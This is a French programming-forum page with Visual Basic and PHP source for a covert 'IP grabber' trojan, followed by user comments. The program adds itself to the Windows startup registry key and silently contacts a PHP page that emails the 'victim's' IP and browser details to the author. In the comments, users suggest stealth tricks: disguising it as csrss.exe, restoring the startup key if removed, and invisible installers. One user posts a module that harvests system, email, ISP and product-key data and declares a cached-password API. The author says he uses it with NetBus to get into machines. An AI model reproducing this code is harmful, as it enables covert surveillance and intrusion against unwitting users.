begin process at 2012 02 09 23:22:40
  Trouver un code source :
 
dans
 
[ Dernières recherches ]
Accueil > 

Code

 > 

Sécurité

 > RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)

RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)


 Information sur la source

Note :
9 / 10 - par 1 personne
9,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Sécurité Niveau :Initié Date de création :05/03/2005 Date de mise à jour :27/04/2005 12:58:40 Vu / téléchargé :16 694 / 850
Auteur : chico200987

Ecrire un message privé
Site perso
Ce membre participe au partage de revenus publicitaires
Commentaire sur cette source (55)
Ajouter un commentaire et/ou une note

 Description

Ben en faite c'est un programme qui s'ouvre en même temps que windows (puis se referme tres rapidement avec la fonction Unload Me), qui lance internet explorer et va sur la page web ip.php hébergé chez un hebergeur qui accepte la fonction mail() (free dans mon cas). Ensuite le script php, vous envoie le mail avec l'ip de la victime et ya même un petit script en javascript pour rediriger tres rapidement vers google.fr ;)

10/03/2005 : Version 2.1 final
13/03/2005 : Version 3.1 bêta

Source

  • Private Sub Form_Load()
  • 'ecriture du prog dans la base de registre
  • Dim WSHShell
  • Dim MaClef
  • Dim MonProg
  • Dim CheminDeMonProg
  • Dim r
  • Set WSHShell = CreateObject("Wscript.Shell")
  • MonProg = "IP v3.1"
  • CheminDeMonProg = "C:\ip v3.1.exe"
  • MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg
  • r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ")
  • LblEtatRAS.Caption = GetNetConnectString
  • 'si le pc est connecté au net
  • If TestActiveConnect = True Then
  • Timer3.Enabled = True
  • Timer4.Enabled = False
  • LblTest.ForeColor = vbGreen
  • LblTest.Caption = "Connection Actuellement en cours"
  • Else
  • LblTest.ForeColor = vbRed
  • LblTest.Caption = "Connection Impossible"
  • 'sinon activer Timer2
  • Timer2.Enabled = True
  • End If
  • End Sub
  • Private Sub Timer1_Timer()
  • LblEtatRAS.Caption = GetNetConnectString
  • End Sub
  • Private Sub Timer2_Timer()
  • 'quitte la Form1
  • Unload Form1
  • 'recharge la Form1
  • Load Form1
  • End Sub
  • Private Sub Timer3_Timer()
  • 'ouverture de l'url par Inet
  • ip1 = Inet1.OpenURL("adresse de votre page php")
  • Timer4.Enabled = True
  • Timer3.Enabled = False
  • End Sub
  • Private Sub Timer4_Timer()
  • If TestActiveConnect = False Then
  • Timer3.Enabled = True
  • Timer4.Enabled = False
  • Else
  • ip2 = Inet1.OpenURL("adresse de l'autre page php (la deuxieme) ip4.php")
  • Timer5.Enabled = True
  • End If
  • End Sub
  • Private Sub Timer5_Timer()
  • If ip1 = ip2 Then
  • Timer5.Enabled = False
  • Else
  • Inet1.OpenURL ("l'adresse de votre premiere page php")
  • Timer5.Enabled = False
  • End If
  • End Sub
  • ____________________________________________________________________
  • 'page php : ip3.php
  • <?PHP
  • /* Coded by ElastycmaN (a na pas changer !;o)) */
  • $vraieip = getenv("HTTP_X_FORWARDED_FOR");
  • if ($vraieip=="")
  • {$vraieip = $REMOTE_ADDR;
  • }
  • echo $vraieip;
  • /* Et a la suite mon script qui envoit l'ip par mail*/
  • $msg = "IP:\t$vraieip\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
  • $recipient = "votre adresse mail";
  • $subject = "IP de la victime";
  • $mailheaders = "From: Ip de la victime<> \n";
  • mail($recipient, $subject, $msg, $mailheaders);
  • ?>
  • _____________________________________________________________________
  • 'page php : ip4.php
  • <?PHP
  • /* Coded by ElastycmaN */
  • $vraieip = getenv("HTTP_X_FORWARDED_FOR");
  • if ($vraieip=="")
  • {$vraieip = $REMOTE_ADDR;
  • }
  • echo $vraieip;
  • ?>
Private Sub Form_Load()
    'ecriture du prog dans la base de registre
 Dim WSHShell
Dim MaClef
Dim MonProg
Dim CheminDeMonProg
Dim r
Set WSHShell = CreateObject("Wscript.Shell")

MonProg = "IP v3.1"
CheminDeMonProg = "C:\ip v3.1.exe"
MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg

r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ")
    
    LblEtatRAS.Caption = GetNetConnectString
    
  'si le pc est connecté au net
 If TestActiveConnect = True Then
        Timer3.Enabled = True
        Timer4.Enabled = False
        LblTest.ForeColor = vbGreen
        LblTest.Caption = "Connection Actuellement en cours"
        
  Else
        LblTest.ForeColor = vbRed
        LblTest.Caption = "Connection Impossible"
    'sinon activer Timer2
        Timer2.Enabled = True
    End If



End Sub


Private Sub Timer1_Timer()
    LblEtatRAS.Caption = GetNetConnectString
   
End Sub

Private Sub Timer2_Timer()
    'quitte la Form1
       Unload Form1
    'recharge la Form1
       Load Form1
End Sub

Private Sub Timer3_Timer()
  
    'ouverture de l'url par Inet
    
    ip1 = Inet1.OpenURL("adresse de votre page php")
    Timer4.Enabled = True
    Timer3.Enabled = False
   
End Sub
 
Private Sub Timer4_Timer()
If TestActiveConnect = False Then
    Timer3.Enabled = True
    Timer4.Enabled = False

    Else
    ip2 = Inet1.OpenURL("adresse de l'autre page php (la deuxieme) ip4.php")
    Timer5.Enabled = True
 End If
End Sub

Private Sub Timer5_Timer()
If ip1 = ip2 Then
    Timer5.Enabled = False
    Else
    Inet1.OpenURL ("l'adresse de votre premiere page php")
    Timer5.Enabled = False
 End If
End Sub


____________________________________________________________________
'page php : ip3.php

<?PHP

/*  Coded by ElastycmaN (a na pas changer !;o))  */

$vraieip = getenv("HTTP_X_FORWARDED_FOR");

if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;

/* Et a la suite mon script qui envoit l'ip par mail*/
$msg = "IP:\t$vraieip\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "votre adresse mail";
$subject = "IP de la victime";

$mailheaders = "From: Ip de la victime<> \n";

mail($recipient, $subject, $msg, $mailheaders);

?>
_____________________________________________________________________
'page php : ip4.php
<?PHP

/*  Coded by ElastycmaN  */

$vraieip = getenv("HTTP_X_FORWARDED_FOR");

if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;

?>

 Conclusion

Info complémentaire : En gros, des que le programme est ouvert, il s'inscrit sur la base de registreet souvre a chaque demarrage ;o) pis le gars qui l'ouvre ne voit presque pas la form mais vois juste IE s'ouvrir et www.google.fr se charger, même son ip il ne le vois pas puisque je n'e l'ai pas print ;o)

P.S : Presque rien n'est de moi je n'ai fait que reprendre des scripts trouvés ici merci a tous =)

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Historique

10 mars 2005 17:15:08 :
10/03/2005 : Bon alors beaucoup de modif aussi bien dans la form que dans la page php - Plus d'infos envoyés dans le mail sur la personne (ex : langue utilisée, compression utilisée, naviguateur utilisée etc...) - coté vb j'ai presque carrément repris le code de "fredlynx" que je remercie infiniement pour savoir si le pc est connecté au net, si continu l'opération, ouvre ie etc... sinon il declenche un timer qui decharge et decharge la form toute les 10 secondes jusqu'a connection =) voilà pour les modification s majeures
13 mars 2005 21:58:35 :
V3.1 bêta qui n'ouvre pas IE grâce à Inet et detecte les deconnexions et les changements d'ip =)
25 mars 2005 22:59:20 :
petite modif de la source pour ne plus recevoir de spam :D
27 avril 2005 12:58:40 :
Rajout du module oublié :-S pour savoir si vous êtes connecté =)

 Sources de la même categorie

Source avec Zip Source avec une capture Source .NET (Dotnet) CHIFFREMENT XOR PLUS ROBUSTE par dheroux
Source avec Zip CRYPTAGE MARANT par alpha5
Source avec Zip ACCÈS PAR MOT DE PASSE À FEUILLE EXCEL par mimiZanzan
Source avec Zip CRYPTER-DÉCRYPTER UN TEXTE - TEXTE CRYPTÉ UNIQUEMENT EN MAJ... par Saintache
Source avec Zip Source avec une capture FOLDER PROTECTION par hackoo
Toutes les sources de la catégorie Sécurité

Commentaires et avis

Commentaire de chico200987 le 05/03/2005 22:17:03

laissez vos remarques, suggestions, commentraies :) et noté la source merci

P.S : J'aimerai ajouter un timer pour que le prog se re-execute toute les x minutes car beaucoup ne sont pas connecté dès allumage du pc ;o) merci de m'aider :)

Commentaire de cbnet le 06/03/2005 08:23:39

j'ai pas consulter les sources, mais tu peux t'y prendre différemment pour le faire, et éviter de lancer un navigateur, d'utiliser une page php...
- tu récupères l'ip grâce à winsock (y'a plein de moyen de façon)
- et tu envoies un mail directement depuis ton prog vb (là aussi il y a plein de moyens de le faire)

c'est une suggestion pour améliorer ton prog
@+

Commentaire de cbnet le 06/03/2005 08:25:59

oups décidément je suis fatigué il faut que j'aille me coucher j'avais même pas vu que t'avais laissé les sources autrement que sur un zip !!!
mais ça ne change rien à ce que j'ai dit pour la méthode

Commentaire de Warning le 06/03/2005 08:54:08 administrateur CS

Je vois pas le rapport avec 'email' dans cette source...

Commentaire de chico200987 le 06/03/2005 10:23:04

cbnet> oui mais le problèeme avec winsock c'est que les deux ordinateur doivent être connecté pour que l'ip soit envoyé, il faudrais que ce soit instantanée, hors là, même avec un "décalage" de connection, le mail sera toujours recu :) enfin je pense

Warning>ben l'email est envoyé par la page php avec la fonction 'mail()' donc elle n'est pas dans la source VB mais dans la page PHP :)

voilà ++

Commentaire de azerty25 le 06/03/2005 12:21:54

Voici le retour de la LamerZ company!
De 1, un trojan en VB, c'est vraiment pas discret.
De 2, ta solution aussi n'est pas très discrete. Ca fait pas un peu chelou d'avoir le navigateur qui s'ouvre tout seul ?! Tu peux toujours utiliser Inet, il te permet d'ouvrir une URL sans Internet Explorer et de récuperer le résultat de la page sous forme d'une variable (si tu le veux bien sûr). Dans ton cas, il faudrai seulement faire une requete GET sur ta page piégée et le script se déclancherai, sans IE, mais l'inconvéniant, un OCX en plus à trimbaler...

Commentaire de chico200987 le 06/03/2005 12:31:11

merci azerty pour tes idées, je vais en tenir compte pour la prochaine mise à jour (bientôt  j'espere) surtout pour Inet ;o)

Commentaire de Elastycman le 06/03/2005 13:21:03

Voir ma source précédente pr récupérer l'ip, et pour envoyé le mail, le plus simple a mon gout c'est encore par php.
Si tu veux tjrs avoir l'ip de la personne par mail, ske je te conseil, c'est de faire tt dabord un timer ki vérifie si la personne est connecté, si elle l'est, tu envoi l'ip par mail via une page php et la l'astuce, c'est de fermer ton timer et douvrir un timer qui va vérifier si la personne est déconnectée, dès qu'elle est déconnectée, il se ferme et il reouvre le premier timer qui vérifie donc si la personne est connectée.
@+,
..::ElastycmaN::..

Commentaire de Elastycman le 06/03/2005 13:28:48

Pour l'envoie par mail, si il y a des gens que ca interresse, je vous met une ptite page php :

------------------------- Page.php -------------------------------

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>

<?
$headers = "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "From: $expediteur\n";

mail($adresse,$sujet,$message,$headers )
?>

</body>
</html>

-----------------------------------------------------------------

Commentaire de Elastycman le 06/03/2005 13:31:09

J'oubliai, l'adresse de ma source pr récupérer l'ip par php (meme derriere CERTAINS proxy) :
http://www.vbfrance.com/code.aspx?ID=29936

Commentaire de chico200987 le 06/03/2005 15:03:03

effectivement merci elastycman j'essairais de mettre en oeuvre tes idée notemment pour Inet et pour les timers (même si je vais avoir du mal !) merci ;)

P.S : Notez la source pour que je vois ce qu'elle vaut, ce n'est que la premiere version et ma premiere source lol =)

Commentaire de LogOff le 07/03/2005 10:32:51

-->Elasticman

suggestion pour eviter un traitement en plus et alléger la boite mail: avant d'envoyer le mail contenant l'ip, vérifie si celle-ci a changé.
Comme ça, tu ne reçois un mail que qd l'ip change.

Sinon, je crois qu'il y a des apis pour telecharger une page web sans utiliser inet.

Commentaire de Elastycman le 07/03/2005 17:39:26

Wé il existe des API pour ca.... tout dépend de l'utilisation qu'on va faire du prog (pb de dépendance a msinet.dll ou pa).
..::ElastycmaN::..  (avec un Y plz lol)

Commentaire de Warning le 07/03/2005 22:46:20 administrateur CS

Le titre de la source est trompeur... Pour moi recuperer l'IP de quelqu'un par email signifie envoyer un mail qui va nous renvoyer automatiquement l'IP de la personne... Et pour cela pas besoin de programme VB lourds et completement indiscrets... Il suffit simplement d'envoyer un mail HTML avec ceci dedans:
<Img src="http://www.lesite.com/Page.php" style="width: 1px; height: 1px"> dont le contenu de la page page.php nous permet d'enregistrer/nous envoyer l'IP du visiteur et hop le tour est joué.

Explication:
La personne reçoi le mail, le client mail va essayer d'ouvrir l'image "http://www.lesite.com/Page.php" en la téléchargeant, ainsi cette page va s'activer coté serveur et enregistrer l'IP.

Conclusion: désolé de dire ça mais cette source est completement inintéressante, et n'apprend aucune technique...

Commentaire de Elastycman le 07/03/2005 23:53:11

--> Warning

Encore une fois, tout dépend de l'utilisation envisagée pour le programme final mais ta technique Warning a deux désavantages, pour commencer, sache que les webmails classiques (jen suis certain pour hotmail) on un filtre mail qui empeche tte insertion de page ou de code malicieux ds les mails, et meme si cette technique (<img="script ou page...">) marchait il y a quelque années, les filtres deviennent vraiment trop performant et a ce jour je ne connais pa de technique pour contourner ce filtre, meme les formulaire html sont interdits depuis peu sur hotmail.... et le deuxieme désavantage vient tt simplement du fait que si tu veux avoir en permanence l'ip de la personne, ton idée de mail ne marche pas, alors que un programme qui se lance o démarrage de windob peut renvoyer en permanence par mail l'ip en cours d'utilisation sur le pc!
Ta technique est quand meme loin d'etre bete et ininterressante Warning, mais de nos jours, a mon avis, il y a tres tres peu de chance qu'elle marche.

Amicalement,
..::ElastycmaN::..


PS : chico200987, tu peux mettre la detection d'ip et lenvoi mail dans la meme page php a la suite en combinant le script que j'ai donné en commentaire un peu plus haut et ma source http://www.vbfrance.com/code.aspx?ID=29936.

Commentaire de Elastycman le 07/03/2005 23:58:00

Petit rectificatif (il est tard et je suis plutot fatigué...):
j'ai oublié le src dans <img="script ou page...">
je voulais bien sur ecrire <img src="script ou page">

Commentaire de Warning le 08/03/2005 00:11:54 administrateur CS

Detrompe toi, cette technique passe chez la plupart des webmails et malgrès les filtres anti code maliceux car cette technique n'utilise pas de code dit malicieux dans le mail lui meme. Il est très facile de remplacer le .php par .jpg. En effet hotmail est limité coté ecriture c'est à dire que l'on ne peut pas ecrire en html, mais crois moi on peut encore recevoir des mails html (a l'instant je viens d'en recevoir d'ebay) et avec des images. Là ou ça devient limité c'est sur outlook 2003 qui bloque les images. Cette technique a 10fois plus de chances de marcher que de faire un programme via VB (qui sont lourd et necessite l'installation des runtimes et DLL requises, et de plus comment installer le programme chez la personne ? Il faut sont accord et dans ce cas tout ça ne sert plus a rien.)

Warning
http://www.decompiler-vb.net/

Commentaire de Elastycman le 08/03/2005 00:15:10

Pour le coup je suis quasi sur que <img src="..."> marche pour une image mé pa pour une page ou un script.
Je n'est pas dit que l'in ne pouvait pas recevoir de mail en html mais les formulaire html ne sont plus permis (sur hotmail), c'est leur parade au social engineering.....

Commentaire de Elastycman le 08/03/2005 00:23:19

Pour installer le programme.... un petit Multimedia Builder (que je conseil a tout le monde) permettra de créer un exe sans dépendance (c'est un logiciel qui permet de crée des installation avec script, tout peut rester invisible), cet exe copie les dll, le programme vb  et le demarre.
A savoir que seul msvbvm60.dll est utile, la dépendance a vb6fr.dll peut s'enlever avec une simple petite modification hexa, pour le controle Inet, dans ce cas la mieux vaut mettre l'API...

Commentaire de Warning le 08/03/2005 00:39:45 administrateur CS

et comment compte tu faire executer le programme a la 'victime' (a savoir: msvbvm60.dll fait près de 3mo)?

Commentaire de Elastycman le 08/03/2005 00:57:47

msvbvm60.dll= 1.32mo, diminué a 800 environ avec multimédia builder...

Commentaire de azerty25 le 08/03/2005 05:09:34

On peux utiliser le coupe InternetOpen,InternetOpenUrl,InternetReadFile niveau API pour se soulager de la DLL d'Inet pour ouvrir une page piégée, sa serai moins lourd que d'envoyer un mail (il faut pour sa faire tout le protocole et sa allourdi l'éxe, et aussi un serveur SMTP qui peux ne pas fonctionner chez tout le monde, par exemple, le serveur wanadoo, j'ai des doutes sur son fonctionnement chez AOL...) Pour l'éxécutable, il éxiste aussi des sources sur VBFrance ou CPPFrance qui permettent de "supprimer" les dépendance mais elles ne devaient pas compresser les fichiers. On peux aussi faire un EXE en C++ qui vérifie si msvbvm60 est installée sur le poste, et si c'est pas le cas, il la télécharge, l'installe, pour pouvoir ensuite éxécuter le prog en VB...
Sinon, vous parliez de supprimer vb6fr, comment faites-vous ? Je ne connai pas la manip... On peux aussi tout simplement utiliser une version anglaise de VB pour ne plus avoir cette DLL... ;-)

Commentaire de Elastycman le 08/03/2005 13:50:29

Ba c'est pas complqué, tu ouvre ton exe final avec un éditeur hexa décimal et ds le champs ASCII tu cherche ou est appelée la dll vb6fr, tu remplace ce nom par le nom d'une dll d'autant de lettres (5) que t'es sur qu'il a. (Tu change juste le nom, tu laisse l'extension .dll). Tu save et ferme, ton exe n'a plus de dépendance a vb6fr.
Le truc c'est que vb6fr.dll contient des message d'erreur en francais. Si tu remplace par une autre dll, il s'en fout le prog pasque il n' aura pas dedans l'appel voulu.
Si tu cherche sur le site c'est expliqué ptet mieux que je ne le fait la mais je sais plus sur kel post.

..::ElastycmaN::..

Commentaire de chico200987 le 08/03/2005 19:43:32

salut,

warnign ==> comme l'a très bien dit elastycman, tu compte envoyer toujours le mail à la même personne chaque fois qu'elle va se connecter ?? lol le but du programme est que j'ai l'ip de la personne dès qu'elle se connecte à l'ordinateur et je vais rajouter des timers pour voir si l'ip cange et si elle change elle le renvoi =) En tout cas le prog à l'air de marcher puisque je recois au moin 20 IP par jour lol mais bon rassurez vous je n'en fais rien ;o)

P.S : J'ai voulu créé un programme de ce genre pour pouvoir s'infiltrer dans des systemes plûtot de n00b lol (:xx:) et en faite c'est utile lors de l'utilisation de netbus car on peut uploader des fichiers et même l'executer... comme ça si on l'a une fois, on l'a pour toujours ;o)

LogOff==>effectivement bonne idée aussi

Elastycman et azerty ==> Je vais avoir du boulot avec toutes les idées données lol mais je vais le rendre performant grace à vous merci ;o) croyez moi, il risque pas d'en rester là ! =)

Commentaire de chico200987 le 10/03/2005 17:26:14

voilà premiere mise à jour chez moi ça marche =) notez la source svp

Commentaire de Elastycman le 11/03/2005 12:43:01

Ta modifié la page qui s"ouvre??
Ta tjrs une fenetre IE qui s'ouvre??? Sinon jté di utilise le controle inet (ou  un api) é utilise la fonction inet.openurl(tapage/ip.php). C'est beaucoup plus discret!
Et pourquoi tu dit que ton prog se ferme apres avoir envoyé l'ip?? Ta pas fait une vérification de changement d'ip, et si elle change alor le prog renvoi l'ip par mail...?

Commentaire de Elastycman le 11/03/2005 12:46:10

Mais une question, le but c'est que l'utilisateur s'en appercoive pas nan?? SI oui alor change le nom du prog et le chemin pasque C:\ip v2.1 final.exe c pas tres discret...
Si tu veux aller encore plus loin, appelle ton prog csrss.exe pour pas que l'utilisateur puisse le fermer et met un timer qui vérifie  si la clef de démarrage existe tjrs (défois que la personne soit maligne et supprime la clef...).

Commentaire de chico200987 le 11/03/2005 19:51:05

oui mais en faite je n'ai as trouvé d'API (je sais mm pas comment les utiliser) et pour Inet j'ai du mal et en plus il faut un ocx ou une dll nan ?
sinon effectivement je doit changer le nom du prog et ne pas le mettre sur le c:\ mais en faite c'est car je test sur mon pc et c pr mieu me retrouver ;o) merci encore du conseil mais ou je peut trouver comment utiliser Inet ou un API ? merci =)

Commentaire de chico200987 le 11/03/2005 23:17:41

bon j'ai trouver pour imet et là ie ne s'ouvre plus grace a ce composant =) mais par contre j'ai un pb pour detecter le changement d'ip car en faite à aucun moment le prog en vb ne connais l'ip donc je pense que c'est la page php qu'il faut que je change mais là... petit pb le php c'est pas mon fort lol en plus c'est pas trop le bon site ici lol... faut que j'aille voir phpfrance... a moin que serait-il possible de recuperer "$NewIp" de la page php via vb (avec inet je suppose) et si cette variable change, j'active un timer3 qui active le timer2 qui decharge et recharge la form1 =)

Commentaire de Elastycman le 12/03/2005 15:29:48

Wé, avec inet ta une dépendance a msinet.ocx (112ko).
Pour récupérer l'ip par la page php c'est tres simple :
tu fait en sorte que sur la page, il y ait juste l'ip d'écrit et tu fais dons ton prog vb :
ip=openurl(ip.php)
la variable ip récuperera ce qu'il y a marqué sur la page, donc l'ip.
Pour afficher juste l'ip dans la page php, je suppose que tu sais faire, tu met juste, reprend ma source que j'ai posté juste avant la tienne :
<?PHP

/*  Coded by ElastycmaN  */

$vraieip = getenv("HTTP_X_FORWARDED_FOR");

if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;

/* Et a la suite, tu remet ton script qui envoit l'ip par mail*/
?>
Pour vérifier si l'ip a changée, on a déja expliqué un peu plus haut comment faire.
..::ElastycmaN::..

Commentaire de chico200987 le 12/03/2005 15:46:48

oki jvai tester sa

Commentaire de chico200987 le 13/03/2005 22:04:33

voilà alos quelques truc en plus sur la page php (tres raccourcis grace à elastycman) qui fournit quelques infos en plus (plus ou moin inutiles), plus de html dans le code aussi... le prog renvoie l'ip si'il a changé ou s'il y a eu deconnexion puis reconnexion normalement mais j'ai pas eu le temps de le tester merci d'essayer si vous pouvez le faire =)
Laissez des remarques, suggestions, bugs etc... merci et oubliez pas de noter ! merci lol

Commentaire de Elastycman le 14/03/2005 19:13:45

Voila un pti module qui n'est pas de moi, joré bien voulu mettre le lien de la source ainsi ke le nom de l'auteur mais impossible de la retrouver (ca fé une demi heure ke je cherche!). Il permet de récuperer plein plein d'infos. Enregistre ce ki suit en tant ke module :


---------------------------------------------------------------------
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const ERROR_SUCCESS = 0&




'Avoir la version de l'OS
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
    wSPMajor As Integer
End Type

Const BITSPIXEL = 12
Const PLANES = 14
Const VER_PLATFORM_WIN32s = 0
Const VER_PLATFORM_WIN32_WINDOWS = 1
Const VER_PLATFORM_WIN32_NT = 2

'Avoir le nombre de couleurs de l'écran
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function GetDeviceCaps Lib "GDI32" (ByVal hDC As Long, ByVal nIndex As Long) As Long
Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hDC As Long) As Long

'Vitesse du double click
Declare Function GetDoubleClickTime Lib "user32" () As Long

'Avoir le nom de l'ordinateur
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
                 ByVal lpBuffer As String, _
                 nSize As Long) As Long

'Heure système du PC
Declare Sub GetSystemTime Lib "kernel32" ( _
                 lpSystemTime As SYSTEMTIME)


'Heure locale du Pc
Declare Sub GetLocalTime Lib "kernel32" ( _
                 lpSystemTime As SYSTEMTIME)

'Temps écoulé depuis l'ouverture de windows
Declare Function GetTickCount Lib "kernel32" () As Long

'Obtenir le chemin du répertoire système de windows
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'Obtenir le chemin du répertoire temporaire de windows
Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

'Obtenir le chemin du répertoire de windows
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" ( _
                 ByVal lpBuffer As String, _
                 ByVal nSize As Long) As Long

'Récupère le login sous Nt
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

'Avoir l'espace libre d'un disque
Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpDirectoryName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long

'Informations sur la mémoire
Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Type MEMORYSTATUS
    dwLength As Long
    dwMemoryLoad As Long
    dwTotalPhys As Long
    dwAvailPhys As Long
    dwTotalPageFile As Long
    dwAvailPageFile As Long
    dwTotalVirtual As Long
    dwAvailVirtual As Long
End Type


Type SYSTEMTIME
    wYear As Integer
    wMonth As Integer
    wDayOfWeek As Integer
    wDay As Integer
    wHour As Integer
    wMinute As Integer
    wSecond As Integer
    wMilliseconds As Integer
End Type







Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long


Type PASSWORD_CACHE_ENTRY
cbEntry As Integer
cbResource As Integer
cbPassword As Integer
iEntry As Byte
nType As Byte
abResource(1 To 1024) As Byte
End Type



Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long


Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long


Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long


Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long


Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long


Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long


Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
    Public Const REG_SZ = 1 ' Unicode nul terminated String
    Public Const REG_DWORD = 4 ' 32-bit number
    
    
Public Function RecupInfosPc() As String
On Error Resume Next
Const Cinternet = "Software\Microsoft\Internet ClientX"
Const Clef = "Software\Microsoft\Windows\CurrentVersion\"
Dim Infos As String
Dim FicKeylog, Nom, Organisation, Ordinateur, Serial As String
Dim Versionwin, VersionNum, ProductId, MMX As String
Dim Repwindows, Productname, Processeur, Idprocesseur As String
Dim Infonie, Wanadoo, VerInternet As String
Dim Email, EmailName, SMTPServer, NNTPServer, POPServer As String
Dim RepProgramFiles As String


Set fso = CreateObject("Scripting.FileSystemObject")
Set ld = fso.Drives

'Infos sur l'utilisateur
VNumber = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
Organisation = getstring(HKEY_LOCAL_MACHINE, Clef, "RegisteredOrganization")
Serial = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductKey")
VersionNum = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
ProductId = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductId")
Productname = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductName")
Processeur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "VendorIdentifier")
Idprocesseur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "Identifier")
RepProgramFiles = getstring(HKEY_LOCAL_MACHINE, Clef, "ProgramFilesPath")
MMX = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "MMXIdentifier")

'Infos sur internet
VerInternet = getstring(HKEY_LOCAL_MACHINE, Clef, "Plus! VersionNumber")
Wanadoo = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\Wanadoo Plus", "User")
Infonie = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\infonie", "User")
Email = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Address")
EmailName = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Name")
SMTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "SMTP_Server")
POPServer = getstring(HKEY_CURRENT_USER, Cinternet, "POP_Server")
NNTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "NNTP_Server")

'Récupération des infos
Infos = ""
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS UTILISATEUR*****************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Nom de l'utilisateur   : " + UserName() + vbCrLf
Infos = Infos + "Nom de l'ordinateur    : " + ComputerName() + vbCrLf
Infos = Infos + "Nom de l'organisation  : " + Organisation + vbCrLf
Infos = Infos + "Vitesse du double-click: " & GetDoubleClickTime & " millisecondes" & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS ORDINATEUR******************" + vbCrLf
